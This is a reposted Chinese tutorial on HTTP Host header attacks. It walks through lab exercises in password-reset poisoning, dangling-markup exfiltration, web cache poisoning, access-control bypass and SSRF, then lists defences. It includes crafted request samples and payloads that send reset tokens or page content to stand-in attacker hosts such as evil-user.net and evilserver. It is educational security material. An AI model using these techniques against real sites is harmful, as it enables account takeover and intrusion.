HTTP Host 头攻击,是什么鬼?
点击关注公众号,一周多次包邮送书
来源:https://blog.csdn.net/angry_program/article/details/109034421
作者:angry_program
1. HTTP Host头攻击
从HTTP / 1.1开始,HTTP Host标头是必需的请求标头。它指定客户端要访问的域名。例如,当用户访问https://example.net/web-security时,其浏览器将组成一个包含Host标头的请求,如下所示:
GET /web-security HTTP/1.1
Host: example.net
2. HTTP Host头的作用
网站托管在不同的后端服务器上,但是客户端和服务器之间的所有流量都通过代理系统进行路由。这可能是一个简单的负载平衡设备或某种反向代理服务器。在客户通过内容分发网络(CDN)访问网站的情况下,这种设置尤其普遍。
在上面两种种情况下,即使网站托管在单独的后端服务器上,它们的所有域名也都解析为中间组件的单个IP地址。这带来了与虚拟主机相同的问题,因为反向代理或负载平衡需要知道每个请求到的哪个后端上。
3. 什么是HTTP Host头攻击
<a href="https://_SERVER['HOST']/support">联系支持</a>
4. 如何发掘HTTP Host头攻击
则说明服务端检测了Host的内容。至于有没有使用Host头的值,有以下几种方法去发掘:
修改Host值
添加重复的Host头
GET /example HTTP/1.1
Host: vulnerable-website.com
Host: attackd-stuff
使用绝对路径的URL
GET https://vulnerable-website.com/ HTTP/1.1
Host: attack-stuff
添加缩进或换行
GET /example HTTP/1.1
Host: attack-stuff
Host: vulnerable-website.com
注入覆盖Host头的字段
GET /example HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-Host: attack-stuff
忽略端口仅校验域名
GET /example HTTP/1.1
Host: vulnerable-website.com:attack-stuff
5. HTTP Host头攻击漏洞示例
5.1 密码重置中毒
一个重设密码(忘记密码)功能的大致流程如下:
用户输入其用户名或电子邮件地址,然后提交密码重置请求。 该网站检查该用户是否存在,然后生成一个临时的、唯一的、复杂的令牌,该令牌与后端的用户帐户相关联。 该网站向用户发送一封电子邮件,其中包含用于重置其密码的链接。重置令牌的参数包含在相应的URL中: https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j
4. 当用户访问此URL时,网站将检查提供的令牌是否有效,并使用它来确定要重置哪个帐户。如果一切都符合,则可以进入用户重置密码步骤。最后,令牌被销毁。
以上步骤的安全性依赖于:只有目标用户才能访问其电子邮件,从而可以访问其唯一的令牌。
如果网站重置密码的流程完全依赖用户的可控输入(如HTTP Host头),这可能导致密码重置中毒:
1. 攻击者获取受害者的用户名或者电子邮件,作为提交重置密码的请求,攻击者会拦截请求并修改HTTP Host头为其指定的域,如evil-user.net
2. 受害者会收到一封重置密码的邮件,但由于攻击者修改了Host头,而web程序生成重置链接又完全依赖于Host头,导致生成以下URL:
https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j
3. 如果受害者点击了该链接,重置密码的令牌就会发送到攻击者的服务器 evil-user.net 上 4. 当攻击者获取到虫子密码的令牌之后,就会进行相应的构造访问真实重置密码的URL进行密码重置。
5.1.1 密码重置中毒—基础
提交之后,会发送一封重置密码的电子邮件到wiener用户的邮箱中(数据包如右图):
注意重置密码的链接,可能是受Host头的值的影响?
我们来验证一下是否存在HTTP Host头攻击,修改Host头的值为 baidu.com:
https://ac651f551e5317b8800207bd008f000f.web-security-academy.net/forgot-password?temp-forgot-password-token=00YIexUDyNLEJkaBXDoCILWtZAGaxgi7
随即进入输入新密码的界面,密码重置中毒成功。
5.1.2 密码重置中毒—注入覆盖Host头的字段
有时候直接修改Host头、添加重复Host头的值以及混淆Host头都不行:
可以尝试使用与Host头功能相同的HTTP字段,如X-Forwarded-Host、X-Forwarded-For等,可以进行Fuzz:
实际上他能够被 X-Forwarded-Host 字段影响,导致Host头攻击,当同时添加多个字段使请求被拦截时,可以尝试类似排除法、二分法来排查哪个字段有效。
对受害用户carlos进行密码重置投毒:
https://acf11f4e1f164378800b165b00bb007d.web-security-academy.net/forgot-password?temp-forgot-password-token=o8gD3Le1K0YQcb2AaASgiI8F2eVI5m3h
5.1.3 重置密码中毒—Dangling Markup技术
首先简单介绍一下 Dangling Markup技术:
Dangling markup技术
Dangling markup技术, 是一种无需脚本即可窃取页面内容的技术,它使用图像等资源(结合CSP运行的策略)将数据发送到攻击者控制的远程位置。当反射型XSS不工作或被内容安全策略(CSP)阻止时,它非常有用。其思想是插入一些未完成状态的部分HTML,例如图像标记的src属性,页面上的其余标记关闭该属性,但同时将两者之间的数据(包含窃取页面的内容)发送到远程服务器。
例如,我们在反射型XSS注入点上注入这样一个img标签:
<img src="https://evilserver/?
则注入点和下一个双引号的代码将会发送到攻击者的 https://evilserver 服务器, 其中被发送的代码或者内容可能包含一些敏感信息, 例如CSRF Token等, 配合反射型XSS以完成CSRF的利用。
关于 Dangling Markup技术 的实战意义可以参考博主之前的文章:绕过CSP之Dangling markup技术
什么时候可以使用 Dangling Markup技术 呢?与我们这篇文章的主题有什么关系呢?
我们直接进入主题,当输入需要重置密码的用户名后,该用户的邮箱内会收到如下邮箱:
通过Fuzz,可发现Host头攻击类型为 忽略端口仅校验域名。即服务端在校验Host域的时候,仅校验了域名,忽略了后面的端口号,造成端口值可控(可以是数字或字符):
这也是 Dangling Markup技术 的精髓所在,该技术的核心点在于:
可控变量后面是否接着需要窃取的关键数据(包括Token、密码等)
在攻击者服务器上可以看到被Host头攻击转发上来的请求,里面成功窃取了受害者重置后的密码:
5.2 Host头攻击+缓存投毒
当存在Host头攻击的web站点不存在密码重置的功能的时候,此时该漏洞就显得没有影响,因为不可能驱使用户去抓包修改Host头,辅助攻击者完成一系列的攻击。
但是,如果目标站点使用Web缓存,则可以通过缓存投毒给其他用户提供带有病毒的缓存响应。此时的Host头攻击漏洞转变为类似XSS存储型类的漏洞。要构造Web缓存投毒攻击:
1. 需要寻找映射到其他用户请求的缓存键; 2. 下一步则是缓存此恶意响应; 3. 然后,此恶意缓存将提供给尝试访问受影响页面的所有用户。
第一步,寻找Host头攻击点:
通过对站点的主页添加重复的Host值,可以达到覆盖的效果,并验证存在Host头攻击:
第二步,寻找是否使用了Web缓存?缓存键是什么?
从上图中也可以发现,站点使用了Wen缓存功能,并且配合Host头攻击,可以缓存/resources/js/tracking.js资源文件。
第三步,在攻击者服务器上创建一个同名的 /resources/js/tracking.js资源文件,内容为:
alert(document.cookie);
然后通过Host头注入攻击者服务器域名,可以看到在响应中正确地对应了我们的 /resources/js/tracking.js资源文件:
当其他用户请求站点主页时,服务端就会提供该恶意缓存给用户,造成缓存投毒。
5.3 Host头攻击绕过访问控制
第一步,访问主页,随意修改Host的值:
可以错误信息提示,/admin 页面只允许本地用户访问。
第三步,将Host改为服务端内部地址,从而绕过IP访问控制:
5.4 Host头攻击+SSRF
比如,普通方式访问不到 /admin 页面(404):
猜测 /admin 存在于内网中,需要内网机器才能访问,但是配合Host头攻击+SSRF可以绕过并访问。
第一步,判断Host是否被使用,可用DNSLog外带
这里我使用Burp自带的 “Burp Collaborator client” 来实现外带:
说明服务端是根据Host头的域名来请求资源的。
第二步,基于Host头的SSRF探测内网主机
假如一些敏感的页面(比如管理页面),深处于内网,外网无法访问,但是通过Host头攻击+SSRF可达到绕过访问控制,从而访问内网资产,这里Fuzz内网的IP的C段为192.168.0.0/24,直接利用Intruder枚举:
得到内网IP为192.168.0.240
第三步,访问内网资源
构造 /admin 页面,在Host处换位内网IP:
5.4.2 Host头攻击+SSRF—使用绝对路径的URL
有时候服务端会校验Host头的值,如果Host被修改,服务端会拒绝一切修改过后的请求:
普通请求通常在请求域上使用相对路径,但是,服务端也同时可能配置了绝对URL的请求,采用如下形式可绕过对Host的验证:
GET http://acab1f4b1f3c7628805c2515009a00c9.web-security-academy.net/ HTTP/1.1
接着用 “Burp Collaborator client” 进行外带:
外带成功,说明Host头被服务端使用来向指定域名请求资源,直接SSRF爆破内网:
访问内网页面:
6 HTTP Host头攻击防护
6.1 正确配置绝对域名URL
6.2 白名单校验Host头的域
6.3 不支持主机头覆盖
确保不适用与Host头功能相近的字段,如X-Forwarded-Host、X-Forwarded-For等,这些有时候是默认开启的。
值得一提的是,不应该将内网使用的Host主机(不出网)与公网的应用程序托管在同一个服务器上,否则攻击者可能会操纵Host头来访问内部域。
版权声明:本文为CSDN博主「angry_program」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/angry_program/article/details/109034421
推荐阅读
• 一次线上 JVM 调优实践,FullGC 40 次/天 到10 天一次的优化过程• 分享几个很棒的Linux相关的网站!• USB接口!插的慢传输速度就会慢 这竟然是真的• 没错,我是高端吃瓜玩家• JavaScript 是怎么运行起来的?• 面试突击:方法优先调用可选参数还是固定参数?• 一网打尽 java 8 的日期用法• 聊聊索引失效的10种场景,太坑了• 苹果最新漏洞!输入这行字,iPhone和iPad立刻瘫痪?
👇更多内容请点击👇